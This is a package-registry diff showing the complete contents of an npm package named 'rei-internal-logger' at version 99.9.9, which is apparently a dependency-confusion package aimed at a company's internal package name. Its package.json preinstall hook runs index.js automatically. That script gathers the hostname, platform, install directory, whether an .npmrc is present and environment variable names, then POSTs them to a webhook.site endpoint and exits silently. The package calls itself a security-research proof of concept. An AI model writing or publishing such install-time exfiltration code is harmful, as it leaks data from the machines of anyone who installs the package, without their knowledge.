rei-internal-logger 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ const npmrcPath = path.join(process.cwd(), '.npmrc');
7
+ const hasNpmrc = fs.existsSync(npmrcPath);
8
+
9
+ const data = JSON.stringify({
10
+ status: "VULNERABLE",
11
+ target: "REI-Internal",
12
+ hostname: os.hostname(),
13
+ platform: os.platform(),
14
+ dir: __dirname,
15
+ found_npmrc: hasNpmrc,
16
+ available_env_keys: Object.keys(process.env).slice(0, 15)
17
+ });
18
+
19
+ const options = {
20
+ hostname: 'webhook.site',
21
+ path: '/90af6497-f1a0-4aae-af45-0ac5176c14b6',
22
+ method: 'POST',
23
+ headers: {
24
+ 'Content-Type': 'application/json',
25
+ 'Content-Length': data.length
26
+ }
27
+ };
28
+
29
+ const req = https.request(options, (res) => { process.exit(0); });
30
+ req.on('error', (e) => { process.exit(0); });
31
+ req.write(data);
32
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "rei-internal-logger",
3
+ "version": "99.9.9",
4
+ "description": "PoC for security research purposes",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "ISC"
11
+ }
12
+